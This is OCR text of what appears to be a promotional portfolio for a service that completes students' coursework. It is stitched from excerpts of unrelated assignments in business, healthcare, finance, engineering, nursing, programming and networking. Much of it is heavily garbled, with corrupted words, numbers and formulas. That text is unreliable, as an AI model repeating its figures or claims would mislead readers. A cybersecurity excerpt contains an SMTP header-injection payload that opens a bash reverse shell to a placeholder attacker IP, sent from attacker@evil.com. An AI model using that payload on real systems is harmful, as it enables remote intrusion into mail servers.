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Stakeholder Analysis

ying and

The Main Stakeholders

Polytechnic Students

orimaryarsars who willplay the game (o
learn project management.

Project Guru Pie Lid
The consuiting company collaborating on the
project.

Pravideng sugport and resources fos the praject.

is crucial for the project's success.

*+ Stakeholder Classification

High Influence, High Interest

Spoisors and Project Gur Pte Ltd

High Influence, Low Interest

Polytechnic Administration

Students and Game Developers.

Resgonsiola for designing and developing the
game.

Low Influenc:

Funding the project and ensusing ts viebilty.

1. Introduction

1.1 Background of the Study
The ¢lderly population is on the risz in many countries across
the globe and this has greatly stretched the capacity of health
failities globally. The United Natioas estimates that the
vumber of peaple in the workd who are 60 years and above will
reach 1 billion by 3050 (United Nations, 2019), Ths, it is
becoming & problem for healthcare organszations 1o deliver
medical. psychological, and social care ta clderly people.
Integrared, person-centred and interdsciplinary care where
services from different healthare disciplines are involved in
the delivery of care has boen cenbruced and recommended a3
the best moxlel in delivering care 1o eiderly individuals (WHO,
20016). This model of care is most apprapriate for el
paticnts as they arc oficn preseating with multiple ca moebid
‘conditions that require iUt Irorh i rnge of practiioners
including GPs, geristricians, nurses. physiotherapists, social
workers und otbers (Barmeic <t al., 20
Community-based care, sspecially rehabilitation and daycare
ervices are different from hospital-based
and they are more efficient in bandling the seniors” health. The
existing lterature his suggested that integrated commanity care
can imprave the health satus of the clderly, reduce the
hospitl zation rate, ard erhance the clderly’s quality of life
{Alkn et al, 2014; Daucaliaucs ct al.. 2018). For cxampie, in
Singapare, where the percentage of the population of people
e 65 years aml abewe is peojected 10 doubla by 2030,
integrated comimunity cars nwodcls are mow desmed crucial to
the sastainability of health care (Ministry of Health Singapore,
18)

).

Besides, the integraicd care models also address the bio-
‘payeho-social well-being of the sciors with regards to their
iysical healih, This model recognizes that biolagical,
psychological and social factors are implicated in the wellbeing
of elders [Engel, 1977), These models also offer a more
suppartive onz that woukl cmprise rebabilit
health, social activities, and family mernbers so th
people coukl have a better quality of life and be able to stay
independent (Nicholson et al., 2017)

1.2 Research Problem

Howevsr, there are challenges (hat aflect the integraled
multidisciplinary care modcl and prevent it from being
ffeciive and acoessible. Some of the challenges that hinder
integrated care include; fragmentation of services, lack of eo-
orcination among the various h jrs. and inadoquate
funding (Kodner & Sprecuwenberg, 2002). Unfortunately, in
many cases, seniors sl receive care that is fragmented and
limited to ecrtain medesl conditions without regard for their
complex and intervelated nature (Boult et al, 2009).

However, there is a lack of more comprebensive research
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4. Results
4.1 Quantitative Findings
“The data collected fror t dih
medical rocords were analyzed deseriptively and inferentislly
0 determine the applicability of the conoept of IMH for
seniors. The findings of these anulyses are discussed in s
section, and the findings of seniors who were offercd integrated
care and the seniars who were offered standard care are
compared.
1.1 Descriptive Statlsties
Table 1: Demographic Characteristics of Study Parficipants.

D A8

inan-ss aasEn- e

N

Demographic data and health status of the study perticipants
e by use of descriptive statistics. A total of 200
seniors participated in the study, 100 of them received
imegruted care while the ather 100 received the standard care.
“The participants in the integrated care group were 75 years of
3 years (D = 7. 4] und in the stumdard cure group, 76. |
years (811 = 6. §) In terms of gender distribution, 56% of the
it the group and the
remaining 44% wers muales while the siandard care group
compised of 60% fenales and 40% males
At bascline, both the physical and mental health of the
participants in both groups, as evaluated using the SF-36 Healh
urvey were similur. The mean level of physical health of the
§F-36 was 45,8 (SD - 8. 3) for the interatead care group and
46 for the normal care group. 3 (51 = 9. 1) for the standard
care group. The mean of mental health score was 47, 6 (SD = 7,
9) in the imegrated care group and 48 Mo 2o
the standard care group, This shows thas the twa groups were
sinil ms of demographics and health status and
therefore comparison of the results could be made.
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Identifying a Business Change Practice/Behavior at Cathay Pacific
|

The change in business thus refers to the systematic manner of an organization in transforming
its present condition into a condition desired in the future to improve operations, adopt
murkelplace changes, or implement new technologies. Husiness change does include alierations
in the structures, processes, and bebaviors of an organization to achieve its stiategic objectives
(Change in Practice. 2023)

These business changes are having several new positive impacts, including enhanced operational
efficiency, incrensed employee involvement, and heightened customer satisfuction. The changes
also come with some problems, including but not limited to employee resistance, increased
operational costs, and possible interruption of the current workflow during the transition.
(Indeed, 2023).

Towards the conclusion of the previous month, Cathay Pacific declared radical restructuies in
response to the new changes brought about by COVID-19. In October 2020, the airline
introduced a corporate rostructuring program that directly involved omplayees and closed down
ome of its regional subsidiaries, Cathay Drugon, The action ulso had ramilications for nearly
8,500 employees. This was part of streamlining operations under unprecedented conditions in the
business and hence cutting costs in the industry.

The restrueturing had many effeets on Cathay Pacific. I led in the short torm to immediate
savings thraugh a shaened operational focus, The medium-lerm efTects included the absorption
of the routes of Cathay Dragon into Cathay Pacific and its low-cost carrier, HK Express, so
widening the reach. Finally, in the long term, these changes were supposed to make the airline
more competitive and financially secure as the sector recovers (Cathay Pacific, 2020).

“here exist, however, risks attached (0 such significant vhanges. Moreover, they may negatively
dampen the morale and trust of employees, thereby affecting productivity with the possibility of
attrition. It is possible for the operational distuptions during the transition period to affect service
quality, and the brand could sufter if the change is viewed negatively by stakeholders. Fllis
(2024) says that Cathay Pacific bas also earmatked funds for mitigation of such risks, namely
through conspicucus communication and also suppert programs for affected employees.

(Human Resources Online March 21, 2024). Cathay Pacific Aren't Afraid to Abolish Jobs.

Amazon and Uber's ethical lapses underscore e smportance of balancing pront goals with
stukeholder welfare. For any organization Lo guin stekeholders' confidence and maintuin u good
reputation for its perpetuation, there is a great nead for ethical practices (Ferrell et al., 2021).
Business is usuvally out under trials when ethical issues come up in most siluations especiully

where the industry competition is ferce.

Challenges in Maintaining Busizess Ethics
Despite its importance, many erzanizations strugzle to uphold ethical standards. Amazon's anti-
union efforts and harsh watehouse conditians led to criticism, employee dissatisfaction, and

reputational harm. {Palmer, 2020). Practices such as excessive surveillance, unsafe working

conditions, and low wages reflect a lack of ethical consideration.

Another example of this sort of culure would be how the "performance-at-all-costs” culture at

Uber encouraged the toxic workplace, which seriously rarnished the image of their ethics

(Swizher, 201 7Ethical mistakes. such as neglecting worker welfare or social responsibilities, lead

to teputational damage and legal challenges.

2000HRM and Leadership in
Coventry University

Portfelio Structure

Iny i Mak a1 this scction should cov 10! i
ntroduction for the portfoli, Coive. ¥t b s Ten
o din Yelewe dhcowy o each brpro-
= Wdentify the chosen topics
= ———

s coald be positioned in the concluding section as well; o need
to link cach topic to marketing. You can develop a general critical linkage to the marketing
context)

* Outline for the portfolio

Body (Below you will find a recommended structure of ong random 10pich

= Define and explain the chosen themes/madels/thevries from the chosen chaper, 1 would
secommend choosing 1-3 approaches from one chapter. Keep in mind that you only have
‘around 500 words. Most of the times 1 or 2 approaches could be ideal

ges maragersleaders face (from the perspective of e adopted

ou have adopied in this section)

for the inclued chalienges

= Draw on wider reading in producing your answers. Academie evidence is very imporiant (o
support your argument. You may wish to compare between differert sources as well

= Support your argument with ane seminar activity (1 am very flexible in that sense; 1 an extent
that | could be very lenient if you have developed a eritical argument away from the seminar
activity).

“onclusion - ‘ nters i e inchide only e

= What s your reflection on Leadership and Management now that you have completed the
folio?

Tinkige 1o markering (this coald be positioned in the intraductory section as well; no necd
10 link each topic to marketing, You can develop 2 general critieal linkage 1o the marketing
contest]
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I’rn]ccl Details
* Initial Investment: $800,000
+ Annual Cash Flows: $110,000
* Useful Life: 10 years

alvage Value: §50,000

* Discount Rate: 8%

Rate: 35%

leulation

Caleul:
Net Present Value (NPV)
The formula for NPY is:

where
1= Initial inve:
~CtCi = Annual cash flow
STT=Tax rate
«rr = Discount rate
55 = Salvage value
n = Number of years

2. Payback Period
The k Period is the time it takes for the cumulative
past-tax cash flows fo cover the initial investment. The anmua
past-tax cash flaw is

The year when the cumulative cash flow equals or exceeds the

3. Accounting Rate of Retura (ARR)
The average annual prof ining
with no salvage value):

ght-line depresiation

falue (NPY): -3297,069.51

e project docs not pay back within its
wseful life based on the annual cash flows provided

* Accounting Rate of Return

Decisio
* NPV: The NPV is negative. This suggests that the project
would nat add value to the company and should be

ciected.
+ Payback Perind: There is
useful life, making it a non-attractive investment.
* ARR: The ARR of 2.84% is quite low, likely below most
company's required rates of return, further sugges:
that this is not a lavarable investment.

» payback within the project's

The Egyptian Pound's Volatility: A Comprahenzive
Analysis of Economic Impacts

The Egyptian Found (EGF) has exparienced significant
Fuchsations in racont years, influancad by a varaty of
economic. palitical. and globel factors. Ths analyss
examines ihe movement of the EGP and its farreaching
impacts on Egynls economy, exploring the interplay
beswean curmancy walatlity. belance of peymants,
banking sector dymarmics. and cverall econamic
stablity Trend of iha Eelance of Paymants and Impact
e Currancy Exshargs Fate.

l:urmnc, Exchenge Rate and Balance of Payments

Tha EGPUSD sxchange rale remaines: miatively stabie
from 2020 te ey 3022, hovering amund 15-16 EGP
per USD, Howswar, 8 signficsnt depracition beosn in
mid-2022, with the Fate climbing 1o aparcxmalely 18
EGRIUSD. Thiz inilial deprecation cainsided wib e
widanng current account daficil, as shown in the current
account belance chartl. The detericration of e cument
fAccount, reaching A defct of arund §7.2 blion by early
2024, put subatantal pressure ar the EGP

The dapreciation accelsrated dramatically in lats 2022
and hroughout 023, wit1 the exshange rabe sooring o
abaut 30 EGRUSD by mic-2023 and furthar spiking to
araund 50 EGPUSD i ey 2024, This sharp declin in
the EGP's value conciatos .xvm\gly w||h mo worBaning
halanca of trada and curmant Aconun

dev of 1%

The Sharpe Ratio, which measures lhe risk-adjusisd retu
6l mlaied B s ple's Sharpe Ratio was 0.93, while
pe Ratin was 0.95, The hads
smm Ratio of 0.8, These ratios mmm- ‘hat,on a nsk-
sjusied basis, Mic st rcturm, followed
d then the S&

Monshly Returns OF Apple, Micrasaft.
au o oy

Concurrently, the Total External Debt chart shows a
steady increase from 2019 to 2023, reaching around
160 bilion USD. This rising extemal debt. combined with
& weakining curenty, ersates a challenging seenano
where debl senvicing becomes mere expensive in local
Gurency tarms, potentially lsading to a vicious cycle af
firthar curroncy dopreciaion and pconomic mstabilty

The currency devaluations have likely impraved Egypts
export competitiveness in the shart term, as Egyplian
goods and senvces bacome cheapar for foraign buyars.
However, this advantage may be offset by:
= The wesker EGP made Egyptian exports cheaper
and potentially more cormgatitive on the global
rket. However, this advantage was party offset
by higher import costs for raw materials and
Intermediste goods essential for export production.
* Fareign currency reserves have likely been under
pressure, as indicated by the nesd for repeated
devaluations. The central bank has probably bean
intervening to support the curmency, depleting
reserves In the process. The Central Bank of
Egypt's resanves wers heavly utilized to defend the
currency and meet external obligations, learling to a
significant drawtonn of resenves. As the EGP
continued 1o weaken, maintaining reserves bacame
further i

sconomic stabiity.
Tourism: A Potential Bright Spot
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Step 3: Locate Centroid of Each Shape
Determine x;,, and y,,, (the centroid coordinates for each shape):

1. Rectangle:
o X, = Baselength2 = 10/2=5cm
o ¥y, = Heigh/2 + 3 (distance from bottom edge) =1 +3=4.5e¢m
2. Square 1:
0 X, = Baselength2='"%=05cem+1=2cem
Q  Yir=Heigh/2=15em
3. Square2:
O Xy, = Base length2 =12+ 6 +
© ¥y, =Heigh/2=1.5m

=8¢cm

Step 4: Calculate AixbarAixbar and Aj

For each shape, multiply the area by its respective Xy, and vy,

e Rectangle:

O AX=20%5=100cm’

0 AY=20%45=9%cm’
e Square I:

o A, =3%2=6cm

o Aye=3x1L5=45cm’
® Square 2:

0 A, =3x%8=24em’

0 Aym=3x15=45cm’

Step 5: Caleulate Total Area and Centroid

o Total Area: A=A, +A,+ A, =20+3+3=26cm*
& Centraid (v~ and vy

Refer to the circuit shown in Figure 3. Design the circuit such that the:
+ Voltage across R., VeLis 25V
[Refer to Annex A for your assigned value of Vi

Solve Vg using Thevenin Theorem. Show your Workings in the spaee below and
input the values of the various variables in the table below. Da note that the values of
the variables should be of realistic values.

Value
Resistor R )
Rasistor R Q
Resistor R 0
Rasistor R« Q
Resistor R 9]
oltage across RL_Ve, 95 v
100 mA
A
X R3
Iy
=7
s
R1Z R2 RL < VB T R4 S
5V
Y o
Figure 3

a) View frem terminal X-Y at the load, Ry, redraw the circuit in Figure 3 to find
Thevenin's Resistance, R

b) View from terminal X-Y al the load, R, redraw the circuit in Figure 3 to find
Thevenin's Voltage, Vv, After redrawing the circuit, use Superposition
Theorem (o help you solve Vin

c) Draw the Thevenin's equivalent circuit with R4 connecled.

RERTMY I

gt Y

d) Calculate R.so that you met the design requirement of your assigned Ve

Part (a): Finding Thevenin's Resistance (RTHR_{TH]RTH)

Remove RLR L RL: Disconnect RLR LRL at terminals X-YX-YX-Y.
Short-circuit the voltage source (VB=5 VV_B = 5\, \text|V{VB=5V}: Replace it
with a wire

Open-cireuit the current source (100 mA 100%, 'text {mA} 100mA): Treat it as an
open circuit.

Equivalent circuit for resistance:

By and Ry arw in seriss

Combine Ry and Ry

Ry=Rat Ry
o Rayisin paraliel with Ry
_ Ru-Ry
= et R
o Finally, Ry, is in series with Ry
Ryy =Ry + Ry

Part (b): Finding Thevenin's Voltage (VTHV_{TH]VTH]

Open-cirenit RLR_LRL: Remove RLR_LRT at terminals X-YX-YX-Y to
caleulate the open-circuit voltage (VTHV_{TH} VTH).

Use Superposition Theorem: Caleulate VTHV_{TH) VTH due to each source
independently.

Step 1: Contribution from the 100mA Current Source
Vi = Ru (M0 mA) - Ry

Rat Ry

Step 2: Conwibution from the 3V Voltage Source
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Nursing Cum Education Essey: Probican-Basead L
Framewark for Nursing Education

ing (PBL]

Inteadsction
Probjem-Basad Loarsing (PBL] bas emerged as the comersicrne
ofimnovat ve teaching staatepics in narsing sducation for
fostering ertical Ihins g, cilnical seasaning, and
problomanlving skills, Compsencies thal ane considersd
‘cssertial in the preparatan of nursing =
complesitics of real-workl healtheae earonments, which
sequine ubidiseipies s collisrotan, a patient-ceered
aporusch o care, erd ethical decision-miking. PBL 21 15

learning and leamer-centaned spprosehes, and the applicatior af
theareikcal know edgs is clinical practioe.

“The fallowing esssy provides a detailed PBL framework for
musrsing students o help professianalize taci Iack o
conmpetencios reganbing pat ent-conero care an comalex
healtcare setings. The intersded lcarnces e cloarly profiled in
ihe framewark, training reeds analysis is provided, the readiness
ofthe lcamers for PRL, urd subject focus. [t ilso emphasizes
ancheriig grals ane suh-grate af e PR fransework, an
problem scenanio, structured template to apply it 3
oo ;J\d&r\c:mﬂcc acccssibility, evalues

marking scherns for assessment. This essay places the PDL
framewark in s rightful positin as 2 gime-chunging
esticaions| pedipapy 1851 fimishes mnssing silents i the
competencies, dispasition necessary i
i ey i e Esops o pactio

m:umm mers fur this problern-based Besminy rame
are ins -y wmderyrs e mrsing ks s are A
e vicased it the beatheare workforee. The studers will have:
cormploted scems fouration courses in the aress of snotomy,
physolagy, pharmacokogy, snd nuesing inle

alsa have was e clinsal placsneot
whers the stders ohscrve and practoc s
he Al e oL

However, the redncas o make e Toap fomregicnned
e oueminig L idppcodut profcss coal pracs
variabe. Somse suudenis ene quite confldent and conpeteat in
this regand, whereas atbers siruggle tn sy besize thereticil
nalodge ko conplas, ptoe-cenied sosnario. These

are very diverse
ability, eulbned backgrounds, sesd prrsonal cxpericnces wnh
aciive leaming pedagogies. The framewars, therefore. takes
such wariations into accausy, cavering o differest lesming sryles
tognsure inclusivity and equity.

o

Staterent of Traiving Needs Asscssinent

Management of Chronic Disease:
Hemiplegia Assessment and Nursing
Care in Stroke Patients

Introduction:
Sliuke is e of Ui miajor Gausess of disabify in the workd,
The symptom for

sided paralyais or eatreme wenkness of the body, usisaly
arising because of an inry o the motor areas cf the.
rain, It s an impairmant that sariovely interferes with the
mabiity and activibes of dally ivirg of a patiset. nence:
bringing distress to his e and curtailing his
indepenence, There is & naec for a Standar assessment
ool on how 1o rightly assess and monitor stroke patiants.
with Hemiplecin on their furctional abities. The Barthel
Index has been recognized as one of ihe most valid and
raliable wstuments used chically in relalion ta assessing
the degree of independence in the actvities of dally Iving,
This section critically anayses the epplication of the
Barthel Index in the assessment of Hemiplecka in stroke.
patients in torms of its apoiication, edvantages, and
disadvantages

Symptom Overview: Hemiplegia
iermiplala s & orave yel Lsual cansequence of Svoke. i
s define a5 the loss of whuniary movement or weakness

amu\g 50 556 of Ihe bady. 15 pathalog e alisiogy
consists of imosimant to eithar the masor cortex of to the
scficospinal ract within the brain, which hes resulled from

&n ischemic or hemerhage siroke. Il depends on the site
of brain injury &nd may invoive eilhar iha left or right sids.
I palients wilh heniplagia. the autiviies of daily liding,
including waking dressrg, bathing, and fesding
themselvos are badly compronised.

n isalfis a
pathologies affecting different parts af the body:. including
ohysical incagacity, psychological disturbances such as
depression ard ansdely, and ever sozal problzms cue o
reducsd mebirly and incepandsnce, There ars degrees of
variation 10 this condliion, a3 some feel mild wezkness,

Reflective Account

Intradution:

Rellection on 5 lesrming scquired in ihe Management of
Ghronic Discase maculc of shdy: Gars for the pationts
wilh stioke, pariculsrly thase with Heniplsgia. has
complexities in most of the Issues conceming them. Some
of the ey leaming issues in this rofleslive account include
@ halistic approach. efficient use of assessment tool
utlizztion such as Barthel Index, and the rcle of tre
muttidisciplinary team in provicing patient-centared care.
These insights have indeed shaped my future nursing
practice

Importance of a Holistic Approach

One of the major learing points derived from this moduls
is that a siroke patient needs to be managed halistically. In
fact, the warious lectures and case studies did highlight
that n stroke has an cFiact on the physical, peychological,
and sosial dimensions of health, 11 s in the gursi of this

extensee yision tnat mers comes an evaluation and
intervention on al aspects of the chents axperiance,
cutsice of those related to physical rehabiliation. This
snell ba a person-cantared approach wheein the mindset,
social background, and cultur of the patient are the
starting poinls upon which paslicularized care and
wreatment are hasert

Effective Use of Assessment Taols

Appropriataly This module has given further insight inta
e necessity of applying standard assessment tools such
25 e Bamna Index In assessing e functional abilties of
hemiplogic patiants. In cond.cting a eitieal analyais of tha
Barthe Index. |found t rich with information concerming
activity monkoring of the patients dally ving and aiding
dlinical dacision-making. Of pariicular interes! we the
limitation with which, sspecialy in detecting subtie
changes in higherfunctoning patients. It will be related in
the future by using the Barthel Index with 1=

oar ol for ppropr o
unGerstanding of ha oneliien of e Batan, which wil
give grewnds for formudaling more effectiva and
individualized care plans and tracking the course with
greator procsion.

Rolé of tha Multidisciplinary Taam (MDT)

Ofier related laaming was that an MDT plays an imporient
roia in managing patients with stroka. This was & module
of emphagiz on the practice of calaboration among
nursing. physiotherapist poc.patcnal therapist, speech
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Python & KNIME

Scripts, data pipelines & workflow
models

* coded by o real human
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c

ded_vertice

2 = [ -]
Missing values were replaced based on column type:
= Numerical columns like ELAPSED_TIME and ARRIVAL_DELAY were
replaced with 0, representing no valid delay or time recorded.
« Categorical columns like TAIL_NUMBER were replaced with "Not
plicable” to retain the dataset structure without removing rows.
Saving The Cleaned Dataset

- T a
The cleaned dataset was exported as Cleaned_Flight_Data.csv using the CSV
Writer Node. This dataset will be used for further analysis, including exploratory
rata analvsis (FNAY and visuglizalinns

MA1008 Introduction to Computational Thinking
Mini Project: Robot navigation
Semester 1, AY 2024/2025, Week 10 — Week 13

1. Introduction

The objective of the mini project is for you to produce a program of a moderate size and depth that
will require you to utilise what you have learned in this course, and a bit more, to do something useful
and interesting. Through this, you will learn to design, manage and execute a sizable program.

2. The Project

This project is on robot navigation, tc create a program that finds the path a robot is to take from its
starting point to its destination, negctiating obstacles in the process. The robot operates in an open
plane and is free to move in any direction except that it must not run into any obstacle. The robot has
two versions: (1) it is idealised as a point and (2) its body has a finite size approximated as a circle of a
given radius. The obstacles are represanted by polygons with straight edges, and there can be multiple
abstacles along the way. Your program is to determine and plot the path the robot should take from
start to finish, which are points on the plane. Figure 1 shows three possible scenarios.

Finish Finish

stat Start seart
(a) & paint rabot and
& possible path

bt with 8 iadius {b}A robot with a radius and a possible
possible path AN over two obatacies

Figure 1: Three scenarios of a rebot navigating through an abstacle. Selid red lines are possible
paths. Dotted red lines are the direct straight lines from the robot to the finish.

2.2 Your Tasks
Write a program that determines and plots the path a robot can take from its starting position to the
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Data Analytics

Analysis, visualisation & modelling
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Figure 1: Average Monthly
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Data Operation
1 Compose

Usage: Combines multiple data paints inta & single formatted message of document,
Conflguration: Streamlines the cneation of docwmentation and reports, ensurng conslstency emd
ACOUTACY,
Examphe: Compose a summary report of test resules, inchuding passfail status and key metrics,

OUR WORK 3. Cancatenate

Usage: Jpins sirings or variables, often used for creating flenames or siructured mesages.

Configuratian: Reduces manual effart and errors in data handling, particuarly for repetitive tasks.
P R O G R A M M I N G T A S K S Exarphe: Concatenate the project name and date to generate a unique log file name,
3. Variable:

Usage: Stores data that can be rewsed throughout the flow, such as counters, flags, or dynamic

content,

Configuration: Enhancas the flow's flexibility and adaptability, anabling more complex logic and
aperations.
x ' e Example: Use a variable to keep track of the number of failed builds in 2 s=quence.

Approval Process
Approval Froeess Mechanism
+  Usage: Implements a formal approval mechanism before deplaying code to production or ececuting
Power Automate
+ Configuration: Use the "Start an Approval® action to send approval requests via Outlook or Teams,
*  Example; "Reguive deployrment approval from the project manager and QA kead before proceeding
1o tha production emironment.”

Overview N *  lmpact: Ensures that all critical actions are reviewed and approwed, reducing the risk of unauthorized

changes and enhancing accauntability.

(71608429)

e Ty Pawer Automate

*  Usages Monitors the status of flows, mansges approvals, and tracks progress from mobile devices,

# Copfiguration: Set up the app with relevant dashboards and notifications fior real-time mondtoring,

# Example: "Use the Power Automate app to approve deployment requests and monitor fow
aMeCuTion on the gn.”

& mpact: Enhances responsiveness and flexibility, allowing managers and team members to stay
informed and make decislons anywhere.

H
H

oo <
P e

Macros, automation & dashboards

D —

S nem s ma s

* coded by a real human
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ENG1008 C Programming
g Project 2

This is a group project consisting of 3-4 students in each group.

OUR WORK e

To read in sensor data into single and multidimensional arrays; : (float I onth_da 10w 1, int month i
* To carry out data analysis on it. , f month 3 RS + 2], o
PROGRAMMING TASKS troduction
A small text file (proj2.txt) containing the data (i.e. temperature readings) from the sensor is
given. Ta avoid formatting errors, download the proj2.1xt file and use it as it is — do not cut

and paste into another text file.
C C | | You should use /0 redirection and standard scanf statements to read the readings into the

program. /O redirection forces the program to read the data from the proj2.¢xt file instead of
trom the keyboard. The scanf function is being used in the usual manner to get the input, as if’
the data was read from the keyboard.

Programming

The data contains sensor readings from 7:00 AM to 8:59 PM at intervals of 15 mins.
There are 30 days of readings per month and three months of data (i.e. April, May and
June) are recorded.

. . Note:

P roJ eCtS ' d ata Stru Ctu res & U M I— d esl g n * Global variables are NOT to be used in the project.
*  Only 4 arrays, as described below, should be used in the project
+  You have to use the following lines at the start of the program:

Fareannas seadre: Ly 1

* coded by o real human (CSCI251 Assignment 3

I'he program's objective is to parse a text file containing unsorted, uncomputed, and duplicated

coordinate data related to points. [ts primary task is to cleanse the data of duplicates and calculate either

TOP GRADUATES FROM NUS - NTU - SMU - SUSS - SIM the line length or the distance of each point from the origin (0, ). Once the data is cleansed, stored, and
processed, the program should provide options to sort, display, and export the results into a text file, as

.. ontlined in the assignment guidelmes. The text file may contain various types of data, including
Proficient & fluent across eve ry sy llabus. Point2D, Point3D, Line?D, and Line3D. When displaying and storing the data, the appropriate headers

must correspond to the data type being processed.

I'rogram Design:

This application organizes instances of the four dawm types (classes) into four distinct vectors
Furthermore, it retains both the criginal strings read rom lhe file and the cleaned suings (free of
duplicates) obtained from the stored file. Regarding the tomr classes, each class will have its respective
operators overloaded and additional static methods for utilizing the <algorithm™'s sort function to
produce the desired output. The classes are implemented following the guidelines outlined in the
assignment document (Appendix B), as illustrated below.

/ 28
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Machine Learning

Models, training pipelines & evaluation

* coded by o real human
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/ 28

valua6

element (By .NAME,
r. Find_element(By. NA

B value &

=

Kiearn. nodel._select
Kiearn. ansers

1.0

i

qn2

data = pd.read
print(data.h

Standard &
Standard & es Automatic

SIC Code

7374.0

EBITDA Margi

hFinancialRatios

orporation Rating
s Water
Data Processing Inc

Cardinal Health Inc
Sector Ticker Current Ratio
utd. 7
Bus

0.8358
1.2031

rn On Tangible Equity

0.3173
0.3324
2.4620

8.1978
2858
16.7991
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OUR WORK

PROGRAMMING TASKS

o
cherlyn1
Please take the following medicine

Panadol

Native & cross-platform builds, tested THeTEE

Qty:100mg

+ coded by a real human
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Web Apps

Full-stack platforms & dashboards

*+ coded by a real homan

TOP GRADUATES FROM NUS - NTU - SMU

Proficient & fluent across every syllabus.

/28

SUSS

Account Stofs

Overview

19 16

mha_vr_procom

© Seasion history

@b ML Image Training & Prediction © Images MAFolders L Uplosd o Amnotate Im

Your Folders

You have no falders yet Stant creating folders 1@ organize your images!

Tech Donation Platform

Available Mems

Welcome to Language Learning App




<[>

Relevance

Tt is for this reason that the dashboard should be designed with ealy the wost importait
information relevani 1o the evaluation of business performance, never overloading the user with

100 much information. Every chart and table points toward key metrics-ormap effectiveness of

OUR WORK
PROGRAMMING TASKS

Tableau, Power Bl
& SPSS

Bl dashboards & statistical analysis e B

Imteractivity within the dashboard enhances its usefulness by digging into the data

salles ehannels, distribution of flight hours, or passenger traffic versus day of the week. This gives
decision-malers an immediate visual awareness of critical areas of business without having to sort

through information that is not essential

Flight Performance & Passenger Insights

SALES CHANNEL

interactively and flexibly. The filter action of this dashboard enables one to personalize the view

+ coded by a real human

TOP GRADUATES FROM NUS - NTU - SMU - SUSS - SIM

Hypothesis Testing
Proficient & fluent across every syllabus. 1. T-Test: Gender vs. Entrepreneurial Intention

Group statisties.

X Visualizations » Daa 3

< Buldvisusl

oot En i m Tl
wn 515 i m T

v oo
fandand devivion

B US4 M owad SIENIAN Tavatar,
Glas's et uses a 3amale wandird gaviatorof

10M

46bn

The first hypothesis tested was whether there is a significant difference in entrepreneurial intention
between male and female students. The independent samples T-Test results indicate that there is
statistically significant difference between the two groups (t = 5.509, df = 1693, p < 0.001). Male
students have a higher mean entrepreneurial intention score (M = 4.56, SD = 1.902) compared to

/ 28
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ANSYS, MATLAB
& Revit

Population v. Time

Simulation, Simulink models & BIM

* coded by o real human
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SolidWorks &
AutoCAD

3D CAD modelling & engineering
drawings

* coded by a real human

TOP GRADUATES FROM NUS - NTU - SMU - SUSS - SIM

Proficient & fluent across every syllabus.

/28

2.  Schematic Drawing

Here is the exploded view of the Solar Neck Fan. The battery is installed on both the right
and left sides of the fan to distribute weight evenly. The solar panel is positioned on the
exterior to maximize expesure to solar light for efficient energy harvesting. Ventilation holes
are integrated into the casing to ensure proper airflow, with the motor positioned directly
adjacent to these holes (o optimize space utilization.

Figure 18. Exploded view of Solar Neck Fan

The fan is custom-designed to match the motor type and the compact size of the neck fan,
ensuring effective air circulation. A total of 36 small holes are strategically placed near the
neck area to enhance airflow directed toward the user’s face, providing maximum cooling
efficiency. The backside of the fan accommodates the PCB and the on/off push button,
ensuring ease of access while maintaining a sleek design. This layout allows for an organized
internal structure while optimizing performance and usability..

3.2 Particle Trapping Efficiency

Particle racking showed that the filter effectively wapped particles ranging from 0.05 mm to 2 mm. In
Configuration 1, over 95% of particles were successfully captured within the sand bed), indicating high filtration
efficiency. Configurations 2 and 3, with smaller diraensions and higher flow velocitics, demonsizaied slightly reduced

et

Fig. 2. Sand Particles Trapping Configurations 1
3.3 Backwash Effectiveness
The backwash process was initiated once the pressure drop across the sand bed reached a predefined threshold,
indicative of significant particle accamulation. The backwashing was effective in restoring 99% of the filters original
flow capacity within approximately 63 seconds in Configuration 1, demonsirating the systents ability to rapidly recover
and continue operations with minimal downtime.
3.4 Visualization of Particle Mavement and Removal
Simulations provided detailed visualizations of particle movement during both filtration and backwashing
phases. Figures illustrate the pathlines of particles as they entered, were trapped, and subscquently removed from the
sand bed. These visualizations were critical in understanding the dynamic interactions within the filter and the
‘mechanisms of particle removal.

Fig. 4. Sand Particles Movement Configurations |
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Cybersecurity

Tooling, scripts & threat modelling

*+ coded by a real homan
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RCPT TO:=victim@target.com>
DATA

From: <attacker@evil.com>
To: =victim@larget.com=
Subject: Test email

X-RCE: | /bin/bash -i »& /dev/tcp/<attacker_ip>/4444 0=&1.

. The following image will be displayed once the reverse shell has executed

successtully.

based on the user

be export into PD)
ummary of vulnerat

remediation steps.

Figure 7.2: Zap Integration Code.

723 Get CVE

By leveraging
provides detailed descriptions,

recommendations on how to address the id
vulnerabilities

buff,

Wav Claua
st Lt o sarve Resaron sevver s Encryeton servar

sopcatan server [

Task 2: Threat Landscape and Security Recommendations for HaY

Currently, with nation-wide test groups and sensitive medical information, HaY's infrastructure
places a huge demand on an organization to understand the threat landscape. First of all,
performing an appraisal of the current threat landscape is the first step in mitigating security
risks. Due to the sensitivity of the data they handle, healthcare organizations are very
susceptible to cyber threats. According to the Ponemon Institute (2020), there is a need for HaY
to take precautions against three major kinds of threats: data breaches, ransomware attacks,
and insider threats.

First, there is a high risk of data breach because HaY processes and stores medical and
personal health data from test groups across the country. Recently, hackers have targeted
healthcare organisations to steal personal information, which has a very high value in the black
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* coded by o real human
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Networking &

Linux

Configuration, scripting & system labs

* coded by a real human
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Project 1 Designing the Network Solution

Part 1: Designing the Basic Network

1. Metwork Diagram
A simple LAN layaut using the provided devices
Router: Connects the enlire network 1o the interel.

= Switeh: Connects the infemal devices fo the LAN

= Server Centalized data slorage and services
PCs (3). Laplops (2). Network Printer, and optionally Modem
Here's an sxample of haw the IP addresses could be assigned in a privale Class
 network (192.16.1.0/24):

2

Device Quantity Assigned IF Address
Router 4 102.168.1.1 (Gataway)
Switch 1 192.168,1.2 (if managed)
Server 1 192,168,110
PCs 3 102,168,111 - 102.168.1.13
Laptops 2z 152,168,114 - 192.168.1.15
Netwark Printer 1 192.168.1.20

Diagram Output: Craate this Iayoutin  too! ke MS Visio ar Drawio, connecting all
devices to the switch, which Is connectsd 1o the routsr for infemet access. Label sach
devica with Its IP acdrass.

4. Internet Connectivity:

Ensure the router has an aclive intsmet connection via a modem {optional) or

directly.

Enable DHCP on the router o provida IP addresses if required or assign static

IPs as shown above.

Reflection Example
» "l ensured intemnet connectivity by configuring the router to serve as the

gateway (192.166.1.1) and connecting it to an ISP The router distibutes

# Actual 10 address before connecting to Nipe
actual ip-$(get_current ip)

# Start Nipe

sudo perl nipe.pl start

sleep 5 & Wait for Nipe to establish the connection
